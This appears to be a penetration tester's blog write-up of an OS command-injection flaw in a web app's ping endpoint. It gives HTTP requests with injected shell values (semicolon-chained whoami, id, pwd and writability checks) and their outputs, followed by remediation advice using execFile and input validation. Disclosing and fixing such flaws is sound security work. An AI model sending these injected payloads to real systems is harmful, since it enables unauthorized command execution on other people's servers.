September 19, 2026
From an Error Message to Remote Code Execution: Command Injection in a Ping Utility
CWE-78: Improper Neutralization of Special Elements used in an OS Command CVSS 3.1: 9.8 (Critical) โ AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
By Neel Chauhan
3 min read
Reading the JS bundle before touching the endpoint
The app exposed a small "network tools" page with a Ping feature. Before sending anything, I pulled apart the page's JavaScript bundle to find exactly how the frontend called the backend:
javascript
fetch("/api/tools/ping", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ host: e })
})fetch("/api/tools/ping", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ host: e })
})One parameter, host, POSTed as JSON. Simple surface area. The question that matters with any feature like this is: how does the server turn that string into an actual ping? Is it using a language-native networking library, or is it shelling out to the OS ping binary?
The baseline request that gave away the architecture
I sent a completely ordinary value first, purely to see what a normal response looked like:
POST /api/tools/ping HTTP/2
Content-Type: application/json
{"host":"8.8.8.8"}
HTTP/2 200 OK
{
"ok": false,
"host": "8.8.8.8",
"output": "/bin/sh: 1: ping: not found\nCommand failed: ping -c 4 8.8.8.8\n/bin/sh: 1: ping: not found\n"
}POST /api/tools/ping HTTP/2
Content-Type: application/json
{"host":"8.8.8.8"}
HTTP/2 200 OK
{
"ok": false,
"host": "8.8.8.8",
"output": "/bin/sh: 1: ping: not found\nCommand failed: ping -c 4 8.8.8.8\n/bin/sh: 1: ping: not found\n"
}This single error message was the whole vulnerability disclosure right there. The server told me, unprompted, that it had attempted to run ping -c 4 8.8.8.8 through /bin/sh. That means my host value isn't being passed as a safe argument to a subprocess call, it's being string-concatenated directly into a shell command line. Any character the shell treats as a metacharacter, ;, &&, |, backticks, $(), is a potential injection point.
Building the PoC payload
The logic here is simple: if the server is running ping -c 4 <my_input> inside /bin/sh -c "...", then a semicolon ends that command and starts a new one, and the shell will happily execute both in sequence.
POST /api/tools/ping HTTP/2
Content-Type: application/json
{"host":"127.0.0.1; echo VAPT_TEST"}
HTTP/2 200 OK
{
"ok": true,
"host": "127.0.0.1; echo VAPT_TEST",
"output": "VAPT_TEST\n/bin/sh: 1: ping: not found\n"
}POST /api/tools/ping HTTP/2
Content-Type: application/json
{"host":"127.0.0.1; echo VAPT_TEST"}
HTTP/2 200 OK
{
"ok": true,
"host": "127.0.0.1; echo VAPT_TEST",
"output": "VAPT_TEST\n/bin/sh: 1: ping: not found\n"
}VAPT_TEST came back in the output, a string that has nothing to do with pinging anything. That confirms arbitrary command execution: the shell parsed my semicolon as a command separator and ran echo VAPT_TEST as an independent instruction, completely detached from the intended ping call.
Escalating carefully, and stopping at the right point
Proving code execution doesn't require running anything destructive. I kept every follow-up payload strictly read-only, to establish impact without crossing into anything that could damage the environment:
{"host":"127.0.0.1; whoami"}
โ output: nextjs
{"host":"127.0.0.1; id"}
โ output: uid=1001(nextjs) gid=1001(nodejs) groups=1001(nodejs)
{"host":"127.0.0.1; pwd"}
โ output: /app
{"host":"127.0.0.1; test -w /app && echo APP_WRITABLE || echo APP_NOT_WRITABLE"}
โ output: APP_WRITABLE{"host":"127.0.0.1; whoami"}
โ output: nextjs
{"host":"127.0.0.1; id"}
โ output: uid=1001(nextjs) gid=1001(nodejs) groups=1001(nodejs)
{"host":"127.0.0.1; pwd"}
โ output: /app
{"host":"127.0.0.1; test -w /app && echo APP_WRITABLE || echo APP_NOT_WRITABLE"}
โ output: APP_WRITABLEFour requests, four facts established: the service runs as a low-privilege, non-root account (nextjs, uid 1001), its working directory is /app, and critically, that directory is writable by the process that's been compromised. That last detail matters a lot for impact scoring, write access to the app's own directory means an attacker isn't limited to reading data, they can modify the application code or served assets directly.
I also tried listing running processes as a lighter-touch reconnaissance step:
{"host":"127.0.0.1; ps -o user,pid,comm,args -p 1"}
โ output: /bin/sh: 1: ps: not found{"host":"127.0.0.1; ps -o user,pid,comm,args -p 1"}
โ output: /bin/sh: 1: ps: not foundNo ps binary in this minimal container image. Worth noting in the report, but not a mitigating control, a limited toolset inside the container doesn't stop an attacker from reading environment variables, config files, or .env secrets directly with cat, which is functionally just as damaging.
Why this is as close to worst-case as a single finding gets
Command injection means the attacker is no longer constrained by the application's logic at all, they're talking to the operating system directly, with whatever privileges the running process has. In this case that included write access to the live application directory, meaning secrets, environment variables, and database credentials commonly stored alongside app code were all realistically within reach, along with the ability to backdoor served files.
I flagged one caveat explicitly in the report: I did not get a chance to independently reconfirm whether this endpoint strictly required authentication in every test path during this phase (a session-persistence issue affected part of the engagement), so I scored the CVSS conservatively assuming the worst case, unauthenticated. If authentication turns out to be strictly enforced, the score drops slightly (PR:L instead of PR:N, base score 8.8) but the finding remains top-priority either way. Being upfront about testing limitations like this, rather than overclaiming certainty, is part of what makes a report trustworthy.
Remediation
javascript
// vulnerable pattern
exec(`ping -c 4 ${host}`);
// fixed pattern: no shell involved at all
const { execFile } = require("child_process");
execFile("ping", ["-c", "4", host]); // args passed as array, never shell-parsed// vulnerable pattern
exec(`ping -c 4 ${host}`);
// fixed pattern: no shell involved at all
const { execFile } = require("child_process");
execFile("ping", ["-c", "4", host]); // args passed as array, never shell-parsedEven with execFile, host still needs strict validation before use:
javascript
const HOSTNAME_PATTERN = /^[A-Za-z0-9.-]+$/;
if (!HOSTNAME_PATTERN.test(host)) {
return res.status(400).json({ ok: false, error: "invalid host" });
}const HOSTNAME_PATTERN = /^[A-Za-z0-9.-]+$/;
if (!HOSTNAME_PATTERN.test(host)) {
return res.status(400).json({ ok: false, error: "invalid host" });
}- Never build shell command strings from user input, full stop.
- Prefer a language-native networking library over shelling out entirely, if the feature is just a reachability check, there's rarely a good reason to touch a shell at all.
- Run the container as non-root with a read-only root filesystem so a successful injection has nowhere to write.
- Treat this as an emergency, same-day fix. The gap between "found it" and "full RCE" was a single semicolon.